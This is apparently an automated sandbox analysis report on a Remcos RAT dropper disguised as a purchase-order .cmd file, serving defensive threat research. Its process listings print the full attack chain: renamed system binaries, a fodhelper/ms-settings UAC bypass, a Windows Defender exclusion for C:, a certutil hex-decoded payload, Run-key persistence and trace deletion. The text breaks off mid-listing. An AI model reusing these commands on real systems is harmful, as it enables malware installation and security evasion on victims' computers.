Malware Analysis Report

2025-01-02 03:37

Sample ID 240510-jvdymsbg3t
Target Purchase Order is approved20240509.cmd
SHA256 574f194754022d9834c8d1a4c4013c25ef678e3d36b39238f9583bab7d745dc8
Tags
remcos newremotehost-aprilfile persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

574f194754022d9834c8d1a4c4013c25ef678e3d36b39238f9583bab7d745dc8

Threat Level: Known bad

The file Purchase Order is approved20240509.cmd was found to be: Known bad.

Malicious Activity Summary

remcos newremotehost-aprilfile persistence rat

Remcos

Loads dropped DLL

Checks computer location settings

Executes dropped EXE

Adds Run key to start application

Program crash

Enumerates physical storage devices

Kills process with taskkill

Suspicious behavior: GetForegroundWindowSpam

Suspicious behavior: CmdExeWriteProcessMemorySpam

Script User-Agent

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Runs ping.exe

Modifies registry class

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-10 07:59

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-10 07:59

Reported

2024-05-10 08:01

Platform

win7-20240221-en

Max time kernel

134s

Max time network

132s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\Purchase Order is approved20240509.cmd"

Signatures

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Public\Libraries\sppsvc.pif

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\sppsvc.pif N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1664 wrote to memory of 2428 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1664 wrote to memory of 2428 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1664 wrote to memory of 2428 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1664 wrote to memory of 2688 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 2688 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 2688 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 2884 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 2884 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 2884 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 2852 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 2852 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 2852 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2852 wrote to memory of 2552 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2852 wrote to memory of 2552 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2852 wrote to memory of 2552 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1664 wrote to memory of 2584 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 2584 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 2584 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2584 wrote to memory of 2504 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2584 wrote to memory of 2504 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2584 wrote to memory of 2504 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1664 wrote to memory of 2456 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 2456 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 2456 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2456 wrote to memory of 2576 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2456 wrote to memory of 2576 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2456 wrote to memory of 2576 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1664 wrote to memory of 2356 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 2356 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 2356 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2356 wrote to memory of 2468 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2356 wrote to memory of 2468 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2356 wrote to memory of 2468 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1664 wrote to memory of 2384 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 2384 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 2384 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2384 wrote to memory of 2372 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2384 wrote to memory of 2372 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2384 wrote to memory of 2372 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2372 wrote to memory of 2620 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2372 wrote to memory of 2620 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2372 wrote to memory of 2620 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2620 wrote to memory of 1412 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2620 wrote to memory of 1412 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2620 wrote to memory of 1412 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 1664 wrote to memory of 1124 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 1124 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 1124 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1124 wrote to memory of 332 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1124 wrote to memory of 332 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1124 wrote to memory of 332 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1664 wrote to memory of 628 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 628 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 628 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 628 wrote to memory of 2324 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 628 wrote to memory of 2324 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 628 wrote to memory of 2324 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1664 wrote to memory of 1060 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 1060 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1664 wrote to memory of 1060 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1060 wrote to memory of 1392 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1060 wrote to memory of 1392 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1060 wrote to memory of 1392 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1664 wrote to memory of 2684 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\Purchase Order is approved20240509.cmd"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Purchase Order is approved20240509.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Purchase Order is approved20240509.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Users\Public\Libraries\sppsvc.pif

C:\Users\Public\Libraries\sppsvc.pif

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\sppsvc.rtf" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2168 -s 700

Network

Country Destination Domain Proto
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.137.11:443 onedrive.live.com tcp
US 13.107.137.11:443 onedrive.live.com tcp

Files

C:\Users\Public\alpha.exe

MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

C:\Users\Public\xkn.exe

MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

memory/2372-36-0x000000001B070000-0x000000001B352000-memory.dmp

memory/2372-37-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

C:\Users\Public\ger.exe

MD5 9d0b3066fe3d1fd345e86bc7bcced9e4
SHA1 e05984a6671fcfecbc465e613d72d42bda35fd90
SHA256 4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e
SHA512 d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

C:\Users\Public\kn.exe

MD5 ec1fd3050dbc40ec7e87ab99c7ca0b03
SHA1 ae7fdfc29f4ef31e38ebf381e61b503038b5cb35
SHA256 1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
SHA512 4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

C:\Users\Public\sppsvc.rtf

MD5 0240edf5476c29058868d6c55171839e
SHA1 820845d637f7f3b97ce4c30e52db278dda37f955
SHA256 91b68a0e42f4ebeadd18b228353953cb34e1a86f7b88ac86895cac1be9c1ca5c
SHA512 9a0ce8ea056e2deb1b0fc0aa24c27298c27fa564ef51f122b2c142a776cf20a839b641d8b502c566f67172ee8e42009ae081fcbc8a4a9fc7c4c6939b0e57832e

C:\Users\Public\Libraries\sppsvc.pif

MD5 5754d97e3293f5c2192a23ac5ab7670e
SHA1 fe32ef084fcb4fc4ad3ecdfa9662ac3002883928
SHA256 bdef908222a5df808151d1d383101e2049d3d995e564dd6d9345214fe3198800
SHA512 2c8c15c75d28e28499eecc9c8e8dab7b1c2507c9ced1bddd9ccb6998bc1b2f0cfbf2c763e6b98c8fba51e683585bbacd791b0740a040977c8788dedb4d433c50

memory/2168-69-0x0000000000400000-0x00000000004D5000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-10 07:59

Reported

2024-05-10 08:01

Platform

win10v2004-20240508-en

Max time kernel

150s

Max time network

150s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Purchase Order is approved20240509.cmd"

Signatures

Remcos

rat remcos

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation C:\Windows \System32\per.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Kpeyvroh = "C:\\Users\\Public\\Kpeyvroh.url" C:\Users\Public\Libraries\sppsvc.pif N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\ms-settings C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Public\xkn.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\sppsvc.pif N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\sppsvc.pif N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 312 wrote to memory of 4056 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 312 wrote to memory of 4056 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 312 wrote to memory of 3416 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 3416 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 3444 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 3444 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 3524 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 3524 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3524 wrote to memory of 1396 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3524 wrote to memory of 1396 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 312 wrote to memory of 2452 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 2452 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2452 wrote to memory of 948 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2452 wrote to memory of 948 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 312 wrote to memory of 560 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 560 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 560 wrote to memory of 940 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 560 wrote to memory of 940 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 312 wrote to memory of 2412 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 2412 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2412 wrote to memory of 1232 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2412 wrote to memory of 1232 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 312 wrote to memory of 4564 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 4564 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4564 wrote to memory of 3260 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 4564 wrote to memory of 3260 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 3260 wrote to memory of 3224 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 3260 wrote to memory of 3224 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 3224 wrote to memory of 1296 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 3224 wrote to memory of 1296 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 312 wrote to memory of 4236 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 4236 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4236 wrote to memory of 4240 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 4236 wrote to memory of 4240 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 312 wrote to memory of 2180 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 2180 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2180 wrote to memory of 1676 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2180 wrote to memory of 1676 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 312 wrote to memory of 3700 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 312 wrote to memory of 3700 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 312 wrote to memory of 4696 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 4696 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4696 wrote to memory of 2116 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 4696 wrote to memory of 2116 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 312 wrote to memory of 556 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 556 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 556 wrote to memory of 2776 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 556 wrote to memory of 2776 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 312 wrote to memory of 208 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\sppsvc.pif
PID 312 wrote to memory of 208 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\sppsvc.pif
PID 312 wrote to memory of 208 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\sppsvc.pif
PID 312 wrote to memory of 4356 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 4356 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 2720 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 2720 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 4736 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 4736 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 4856 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 4856 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 3908 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 3908 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 4428 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 4428 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 312 wrote to memory of 3892 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Purchase Order is approved20240509.cmd"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

